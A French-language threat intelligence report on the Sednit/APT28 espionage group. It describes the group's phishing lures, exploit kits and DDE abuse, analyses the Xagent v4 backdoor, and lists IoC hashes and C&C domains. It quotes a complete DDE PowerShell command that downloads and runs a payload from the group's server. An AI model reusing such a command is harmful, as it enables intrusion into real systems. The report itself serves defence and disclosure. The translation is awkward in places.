Le groupe Sednit - également connu sous les surnoms de Strontium, APT28, Fancy Bear ou Sofacy - est un groupe d'attaquants opérant depuis 2004, voir plus tôt et dont l'objectif principal est de voler des informations confidentielles sur des cibles spécifiques.

Cet article fait suite à la présentation d'ESET à BlueHat en novembre 2017. Vers la fin de l'année 2016, nous publions un livre blanc sur l'activité de Sednit entre 2014 et 2016. Nous avons continué depuis à suivre activement les activités de Sednit, et nous publions aujourd'hui un bref aperçu de ce que notre suivi a révélé en termes d'activités du groupe et de mises à jour de leur ensemble d'outils. La première section porte sur la mise à jour de leur méthodologie d'attaque, c'est-à-dire sur la manière dont ce groupe tente de compromettre leurs systèmes cibles. La seconde section porte sur l'évolution de leurs outils, avec un accent particulier sur l'analyse détaillée d'une nouvelle version de leur logiciel malveillant principal: Xagent.

Les campagnes

Au cours des dernières années, le groupe Sednit a utilisé diverses techniques pour déployer ses différentes composantes sur des ordinateurs cibles. L'attaque commence généralement par un courrier électronique contenant un lien malveillant ou une pièce jointe malveillante. Nous avons toutefois constaté  "au cours de l'année" un changement dans les méthodes utilisés par ceux-ci. Sedkit était leur vecteur d'attaque préféré dans le passé, mais ce kit d'exploitation a complètement disparu depuis fin 2016. La plateforme d'exploitation DealersChoice a été leur méthode préférée depuis la publication de notre livre blanc, mais nous avons vu d'autres méthodes utilisées par ce groupe, comme les macros ou l'utilisation de Microsoft Word Dynamic Data Exchange.

Les trois sections suivantes décrivent les différentes méthodes utilisées par l'opérateur de Sednit pour s'implanter sur un système cible. Généralement, ces campagnes tentent d'installer Seduploader sur le système cible. Seduploader est une porte dérobée de première étape qui peut être utilisée pour évaluer l'importance de la cible et télécharger des programmes malveillants supplémentaires. Si le système présente un intérêt pour eux, il est probable que les opérateurs de Sednit finiront par y installer Xagent.

Sedkit (Kit d’exploit Sednit)

Sedkit était un kit d'exploitation utilisé exclusivement par le groupe Sednit. Au cours de sa vie, Sednit a exploité les vulnérabilités de diverses applications toujours vulnérables, mais surtout Adobe Flash et Internet Explorer. Lorsque Sedkit a été découvert pour la première fois, les victimes potentielles ont été redirigées vers sa page d'atterrissage grâce à un système de puits d'eau. A la suite de cette campagne, leur méthode préférée consistait à intégrer des liens malveillants dans les e-mails envoyés aux cibles de Sednit. Le déroulement du travail de Sedkit est illustré ci-dessous.

Shéma de Sedkit

Entre août et septembre 2016, nous avons observé plusieurs campagnes d’envois de courrier électroniques différentes essayant d'attirer les destinataires de leurs messages sur une page d'atterrissage Sedkit. Les cibles de Sedkit à l'époque étaient surtout les ambassades et les partis politiques d'Europe centrale. La figure suivante montre un email contenant une telle URL.

Le courrier électronique tente de tromper son destinataire en lui faisant croire que le lien mènera finalement à une nouvelle intéressante. Dans ce cas, l'article est supposé concerner un tremblement de terre qui a frappé près de Rome en août 2016. Bien que le courrier électronique usurpe l'identité d'une personne que la victime pourrait juger digne de confiance, deux indices importants pourraient amener un destinataire attentif à conclure que ce message est faux. La première est qu'il y a des fautes d'orthographe (par exemple "Greetigs!"). Les fautes d'orthographe sont fréquentes dans les messages malveillants provenant de Sednit. La seconde est la partie domaine de l'URL. C'est un domaine purement malveillant, mais la partie chemin de l'URL imite en fait un lien réel et légitime. Dans ce cas particulier, le chemin URL est le même que celui utilisé dans une histoire de la BBC sur ce tremblement de terre. Encore une fois, il s'agit d'une tactique Sednit couramment utilisée, utilisant des histoires populaires trouvées sur les sites Web de nouvelles légitimes et redirigeant les cibles qui cliquent sur l'URL envoyée par courrier électronique vers le vrai site Web, mais pas avant de visiter la page d'atterrissage Sedkit. En plus de la BBC, The Huffington Post est un autre média populaire dont les histoires servent d'appât.

Le courrier électronique ci-dessous, comprenant le lien redirigeant vers Sedkit, présentes plusieurs caractéristiques dignes d’intérêt.

Tout d'abord, le sujet et le chemin URL du courrier électronique ne sont pas alignés: le premier fait référence à la Syrie et Alep tandis que le second fait référence à l'AMA et au piratage russe. Deuxièmement, il y a deux fautes d'orthographe flagrantes. D’abord, on remarque encore l'utilisation de "Greetigs!" La seconde erreur est "Nations Unated". On peut espérer qu'une personne travaillant pour le département des relations publiques des Nations Unies n'aurait pas commis une erreur aussi flagrante dans son bloc de signature.

La dernière campagne utilisant Sedkit a été observée en octobre 2016. Il est intéressant de noter que la disparition de Sedkit suit une tendance que nous avons observée avec d'autres kits d'exploitation. La plupart d'entre eux s'appuyaient sur les exploits des versions antérieures d'Internet Explorer ou de Flash pour effectuer des attaques drive-by download. Le déclin de la majorité des opérations de kits d'exploitation en 2016, y compris Sednit, pourrait bien être lié au durcissement du code effectué par Microsoft et Adobe.

Vous trouverez tous les détails sur le fonctionnement interne de Sedkit dans notre livre blanc publié précédemment.

DealersChoice

En août 2016, Palo Alto Networks a publié un article sur une nouvelle plateforme utilisée par Sednit pour briser un système initialement. Cette plateforme, qu'ils ont appelée DealersChoice, a la capacité de générer des documents malveillants avec des exploits intégrés Adobe Flash Player. Il existe deux variantes de cette plateforme. La première vérifie quelle version de Flash Player est installée sur le système et sélectionne ensuite l'une des trois vulnérabilités différentes. La deuxième variante contacte d'abord un serveur C&C qui livre l'exploit sélectionné et la charge utile malveillante finale. Bien sûr, la deuxième version est beaucoup plus difficile à analyser, car le document remis aux cibles ne contient pas toutes les pièces du puzzle.

Cette plateforme est encore utilisée aujourd'hui par Sednit et, à l'instar de Sedkit, suit les nouvelles internationales et inclut une référence à celles-ci dans leurs envois malveillants, dans le but d'attirer la cible vers l'ouverture de la pièce jointe du document malveillant. Parfois, ils utilisent aussi d'autres stratagèmes non politiques. En décembre 2016, ils ont utilisé un leurre assez inhabituel (pour le groupe) :

Courriel présentant un leurre étonnant

Ce courrier électronique a été envoyé à plusieurs ministères des Affaires étrangères et ambassades européennes les 22 et 23 décembre et contenait un document Word en pièce jointe qui semblait être une carte de Noël. Notez que c'était la première fois que nous avons vu le groupe Sednit utiliser un jeu d'hameçonnage non géopolitique tentant de piéger leurs cibles. Bien sûr, le document Word, s'il est ouvert, utilise DealersChoice pour tenter de compromettre le système. Sednit a utilisé DealersChoice de manière intensive fin 2016, mais la plateforme n'a pas été vue pendant longtemps par la suite. En fait, la première fois que nous les avons vus l'utiliser en 2017, c'était en octobre.

Nous n'avons pas le courrier électronique utilisé pour cette campagne en particulier, mais d'après le document sur les leurres, nous pouvons supposer que les employés des organismes gouvernementaux étaient les cibles. D'autres campagnes utilisant DealersChoice ont fait l'objet de différents articles de blogue publiés par des chercheurs en sécurité. Un exemple notable est celui de Proofpoint où ils détaillent l'ajout d'une nouvelle vulnérabilité Adobe Flash Player à la plateforme DealersChoice. Ceci indique que cette plateforme est toujours utilisée par ce groupe et en constante évolution.

Macros, VBA et DDE

Outre Sedkit et DealersChoice, les opérateurs de Sednit ont également continué à utiliser des méthodes éprouvées pour compromettre les systèmes qu'ils ciblent en s'appuyant sur des macros dans un document Microsoft Office, mais ont également utilisé d'autres méthodes. Une campagne qui a attiré beaucoup d'attention a ciblé un Ministère des affaires étrangères d'Europe de l'Est en avril 2017. Le courrier électronique suivant a été envoyé à un employé de ce ministère :

La pièce jointe contenait du code exploitant deux jours zéro : une escalade de privilèges locaux (LPE) et une exécution de code à distance (RCE). Ces deux jours nuls ont été rapportés par ESET à Microsoft. Une analyse détaillée de cette campagne est disponible sur notre article de blogue :

Le dernier cas présenté ici illustre comment les opérateurs de Sednit sont attentifs aux nouveaux développements techniques en matière de sécurité. Au début du mois d'octobre 2017, les chercheurs de SensePost ont rédigé un article sur les méthodes Microsoft Word, le protocole Dynamic Data Exchange (DDE). DDE est un moyen d'échanger des données entre applications. Par exemple, il permet de mettre à jour un tableau Word avec les données contenues dans un document Excel. Il est pratique, mais dans le cas d'au moins Word et Excel il peut aussi être utilisé pour exécuter du code arbitraire, si l'utilisateur ignore plusieurs messages d'avertissement. Suite à la publication de cet article, il n'a pas fallu longtemps pour découvrir les campagnes Sednit utilisant DDE pour exécuter du code à partir d'un serveur C&C. Dans ces campagnes, documentées par McAfee, le document appât est vide, mais il contient un champ caché contenant le code suivant:

"C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://sendmevideo.org/dh2025e/eee.txt');powershell -enc $e # " "a slow internet connection" "try again later"

Ceci ne représente qu'un bref aperçu de la manière dont les opérateurs Sednit ont tenté de compromettre de nouvelles victimes depuis la publication de notre livre blanc. Comme vous pouvez le constater, ils sont tout aussi actifs qu'avant et continuent de cibler activement les gouvernements du monde entier.Si la victime potentielle visée ouvre le document et fait choisit imprudemment d'ignorer les avertissements, le script ci-dessus est exécuté et le binaire Seduploader est téléchargé du serveur C&C et exécuté sur le système de la cible.

Outillage

La section précédente montre comment le groupe Sednit a passé la dernière année du point de vue infection-vecteur. Cette section décrit les changements que ce groupe a apportés à leur ensemble d'outils. En 2016, ESET a publié une analyse approfondie de chaque composant; elle est disponible ici.

Au fil des ans, le groupe a mis au point un grand nombre de composantes pour infecter, recueillir et voler des informations à leurs cibles. Certaines de ces composantes ont disparu depuis, tandis que d'autres ont été améliorées.

Seduploader

Seduploader sert de logiciel malveillant de reconnaissance. Il est composé de deux composants distincts: un compte-gouttes et la charge utile persistante installée par ce compte-gouttes. Seduploader est toujours utilisé par le groupe Sednit mais il a reçu quelques améliorations. Au cours de la campagne d'avril 2017, une nouvelle version de Seduploader est sortie avec quelques nouvelles fonctionnalités, comme une fonction de capture d'écran ou la possibilité d'exécuter directement chargé en mémoire à partir du serveur C&C. Récemment, nous avons vu le compte-gouttes Seduploader remplacé par des commandes PowerShell livrant la charge utile Seduploader.

Xtunnel

Xtunnel est un outil de proxy réseau qui peut relayer n'importe quel type de trace réseau entre un serveur C&C sur Internet et un ordinateur terminal à l'intérieur d'un réseau local. Xtunnel est toujours utilisé par le groupe Sednit.

Sedkit

Sedkit est le kit d'exploitation de Sednit; il n'est utilisé que pour les attaques ciblées, à commencer par les courriers électroniques d'hameçonnage ciblé avec des URLs qui usurpent les URL légitimes. Octobre 2016, c'est la dernière fois que nous savons que Sedkit a été utilisé.

Sedreco

Sedreco sert de porte dérobée d'espionnage; ses fonctionnalités peuvent être étendues avec des plugins dynamiquement chargés. Il est composé de deux composants distincts: un compte-gouttes et la charge utile persistante installée par ce compte-gouttes. Nous n'avons pas vu cet élément depuis avril 2016.

USBStealer

USBStealer sert d'outil réseau qui extrait les informations sensibles des réseaux piqués par l'air. Nous n'avons pas vu cette composante au milieu de 2015.

Xagent

Xagent est une porte dérobée modulaire avec des fonctionnalités d'espionnage telles que l'enregistrement des frappes et l'exfiltration de fichiers. Xagent est la porte dérobée phare du groupe, très utilisée dans ses activités. Les premières versions pour Linux et Windows ont été vues il y a des années, puis en 2015 une version iOS est sortie. Un an plus tard, une version sous Android a été découverte et finalement, au début de 2017, un échantillon Xagent pour OS X a été décrit.

Nous avons observé une nouvelle version de Xagent sous Windows en février dernier. En raison des chaînes suivantes trouvées dans les binaires, nous avons déduit que c'était la version 4 de la porte dérobée. Les différentes versions des modules de Xagent sont répertoriées dans le tableau 1.

Tableau 1. Les versions de Xagent

module/canal v3 uid v4 uid
AgentKernel 3303 4401
WinHttp 2111 4402
ModuleFileSystem 2103 4411
ModuleRemoteKeyLogger 2107 4412
ProcessRetranslatorModule 2106 4413
Inconnu [1] ?? 4414

La version 4 de Xagent comprend de nouvelles techniques pour l'obscurcissement des chaînes de caractères et toutes les informations de type Run-time (RTTI) sont également obscurcies. Ces techniques améliorent significativement la façon dont les chaînes de caractères sont chiffrées Les versions précédentes de Xagent utilisaient une boucle XOR pour décrypter les chaînes de caractères. Le nouvel algorithme de cryptage est une série d'opérations avec des valeurs probablement générées au moment de la compilation. La figure suivante illustre la complexité du code.

Cependant, le décompilateur HexRays effectue un bon travail de simplification. En voici un exemple :

return (((((a2 ^ (((((((((((a1 - 13 + 42) ^ 0x7B) + 104) ^ 0x72) - 81 - a2 - 76) ^ 0x31) + 75) ^ 0x3B) + 3) ^ 0x40) + 100) ^ 0x1C ^ 0xA9) + 41) ^ 0xB9) - 65) ^ 0xA) % 256;

Les versions antérieures supportaient la commande 2, PING_REQUEST. Celle-ci a été supprimée dans la version 4 mais l'opérateur peut toujours obtenir la liste des modules avec la commande GET_AGENT_INFO, qui est plus verbale que la commande précédente. Les commandes 34,35 et 36 ont montré des similitudes avec SET_PARAMETERS, qui permet l'interaction avec LocalStorage, qui est le magasin du noyau. Il contient à la fois un stockage basé sur des fichiers pour la communication avec le serveur C&C et un stockage de base du registre Microsoft pour stocker divers paramètres de configuration.L'AgentKernel peut recevoir des commandes du serveur C&C pour interagir avec les modules et les canaux. Certaines des commandes C&C précédemment vues ont été supprimées et de nouvelles commandes ont été ajoutées.

Une nouvelle fonctionnalité implémentée dans le canal WinHttp est un algorithme de génération de domaine (DGA) pour les domaines de secours. Le canal WinHttp est le canal responsable de la communication avec le serveur C&C. Contrairement à la DGA habituelle qui récupère sa graine à partir de nombres pseudo-aléatoires, celle-ci obtient une graine donnée (probablement générée lors de la compilation) pour un échantillon donné. La façon dont les domaines sont générés est la suivante:

  • une série d'opérations sont appliquées à la semence;
  • le résultat donne un décalage pour trois tableaux différents (ajout d'une autre graine pour chaque tableau);
  • une fois le nouvel offset calculé (offset + graine), il déchiffre le mot;
  • tous les mots sont concaténés (quatre mots sont utilisés pour générer le domaine; le quatrième mot vient du premier tableau mais avec un décalage différent);
  • le suffixe « . com » est ajouté.

Le développement de la porte dérobée avec l'ajout de nouvelles fonctionnalités et la compatibilité avec toutes les plates-formes majeures font de Xagent la porte dérobée centrale utilisée par le groupe.

DealersChoice

DealersChoice est une plateforme qui génère des documents malveillants contenant des fichiers Adobe Flash intégrés. Les chercheurs de Palo Alto Network ont analysé deux variantes - la variante A, qui est une variante autonome comprenant le code d'exploitation Flash livré avec une charge utile, et la variante B, qui est une variante modulaire qui charge le code d'exploitation à la demande. Ce nouveau composant est apparu en 2016 et est toujours utilisé.

Downdelph

Downdelph est un téléchargeur léger développé dans le langage de programmation Delphi. Comme nous l'avons déjà mentionné dans notre livre blanc, sa période d'activité s’est écoulée de novembre 2013 à septembre 2015 et il n'y a pas eu de nouvelles variantes depuis.

Sommaire

Le groupe Sednit est sans aucun doute toujours un groupe actif. Le principal point d'entrée de leur porte dérobée phare est l'hameçonnage des courriers électroniques, et cette technique semble remporter beaucoup de succès. Xagent est le cœur de leur fonctionnement, que l'on retrouve désormais sur toutes les platesformes majeures, mobiles ou non. La version la plus récente de Xagent est très intéressante et les opérateurs semblent y avoir beaucoup travaillé. Nous avons vu depuis la découverte deux instances de Xagent dans la nature sauvage - l'une avec le canal et le module inconnu - l'autre avec tous les modules et le canal mais sans le module inconnu. On peut supposer que le groupe Sednit a ajouté un autre calque de vérification sur ses cibles en laissant tomber un Xagent avec juste quelques modules et si la victime est assez intéressante, elle laissera tomber une autre version avec tous les modules.

IoCs

Tableau 2. Hameçonnage

Document d’hameçonnage SHA-1 Nom de détection d’ESET
Bulletin.doc 68064fc152e23d56e541714af52651cb4ba81aaf Win32/Sednit.AX
f3805382ae2e23ff1147301d131a06e00e4ff75f Win32/Exploit.CVE-2016-4117.A
OC_PSO_2017.doc 512bdfe937314ac3f195c462c395feeb36932971 Win32/Exploit.Agent.NUB
NASAMS.doc 30b3e8c0f3f3cf200daa21c267ffab3cad64e68b Win32/Exploit.Agent.NTR
Programm_Details.doc 4173b29a251cd9c1cab135f67cb60acab4ace0c5 Win32/Exploit.Agent.NTO
Operation_in_Mosul.rtf 12a37cfdd3f3671074dd5b0f354269cec028fb52 Win32/Exploit.Agent.NTR
ARM-NATO_ENGLISH_30_NOV_2016.doc 15201766bd964b7c405aeb11db81457220c31e46 SWF/Agent.L
Olympic-Agenda-2020-20-20-Recommendations.doc 8078e411fbe33864dfd8f87ad5105cc1fd26d62e Win32/Exploit.Agent.BL
Merry_Christmas!.docx 33447383379ca99083442b852589111296f0c603 Win32/Exploit.Agent.NUG
Trump’s_Attack_on_Syria_English.docx d5235d136cfcadbef431eea7253d80bde414db9d Win32/Exploit.Agent.NWZ
Hotel_Reservation_Form.doc f293a2bfb728060c54efeeb03c5323893b5c80df Win32/Sednit.BN
SB_Doc_2017-3_Implementation_of_Key_Taskings_and_Next_Steps.doc bb10ed5d59672fbc6178e35d0feac0562513e9f0 Win32/Sednit.BN
4873bafe44cff06845faa0ce7c270c4ce3c9f7b9

169c8f3e3d22e192c108bc95164d362ce5437465

cc7607015cd7a1a4452acd3d87adabdd7e005bd7

Win32/Sednit.BN
Caucasian_Eagle_ENG.docx 5d2c7d87995cc5b8184baba2c7a1900a48b2f42d Win32/Exploit.Agent.NTM
World War3.docx 7aada8bcc0d1ab8ffb1f0fae4757789c6f5546a3 SWF/Exploit.CVE-2017-11292.A
SaberGuardian2017.docx 68c2809560c7623d2307d8797691abf3eafe319a VBA/DDE.E
IsisAttackInNewYork.docx 1c6c700ceebfbe799e115582665105caa03c5c9e VBA/DDE.L

Tableau 3. Échantillons de Seduploader

SHA-1 Nom de détection d’ESET Serveur C&C
9f6bed7d7f4728490117cbc85819c2e6c494251b Win32/Sednit.AX servicecdp[.]com:87.236.211[.]182
6e167da3c5d887fa2e58da848a2245d11b6c5ad6 Win32/Sednit.BG runvercheck[.]com:185.156.173[.]70 remsupport[.]org:191.101.31[.]96
e338d49c270baf64363879e5eecb8fa6bdde8ad9 Win32/Sednit.BG wmdmediacodecs[.]com:95.215.45[.]43
f9fd3f1d8da4ffd6a494228b934549d09e3c59d1 Win32/Sednit.BN mvband[.]net:89.45.67[.]144 mvtband[.]net:89.33.246[.]117
476fc1d31722ac26b46154cbf0c631d60268b28a Win32/Sednit.BN viters[.]org:89.187.150[.]44
8a68f26d01372114f660e32ac4c9117e5d0577f1 Win32/Sednit.BN myinvestgroup[.]com:146.185.253[.]132
9c47ca3883196b3a84d67676a804ff50e22b0a9f Win32/Sednit.BR space-delivery[.]com:86.106.131[.]141
ab354807e687993fbeb1b325eb6e4ab38d428a1e Win32/Sednit.BS satellitedeluxpanorama[.]com:89.34.111[.]160
4bc722a9b0492a50bd86a1341f02c74c0d773db7 Win32/Sednit.BS webviewres[.]net:185.216.35[.]26

Tableau 4. Échantillons de Xagent

SHA-1 Nom de détection d’ESET Serveur C&C
6f0fc0ebba3e4c8b26a69cdf519edf8d1aa2f4bb Win64/Sednit.Z movieultimate[.]com
e19f753e514f6adec8f81bcdefb9117979e69627 Win64/Sednit.Z meteost[.]com
961468ddd3d0fa25beb8210c81ba620f9170ed30 Win32/Sednit.BO faststoragefiles[.]org
a0719b50265505c8432616c0a4e14ed206981e95 Win32/Sednit.BO nethostnet[.]com
2cf6436b99d11d9d1e0c488af518e35162ecbc9c Win64/Sednit.Y faststoragefiles[.]org
fec29b4f4dccc59770c65c128dfe4564d7c13d33 Win64/Sednit.Y fsportal[.]net
57d7f3d31c491f8aef4665ca4dd905c3c8a98795 Win64/Sednit.Z fastdataexchange[.]org
a3bf5b5cf5a5ef438a198a6f61f7225c0a4a7138 Win32/Sednit.BO newfilmts[.]com
1958e722afd0dba266576922abc98aa505cf5f9a Win32/Sednit.BO newfilmts[.]com

[1] Nous n’avons pas été capable d’associer ce module à des modules précédemment bien connus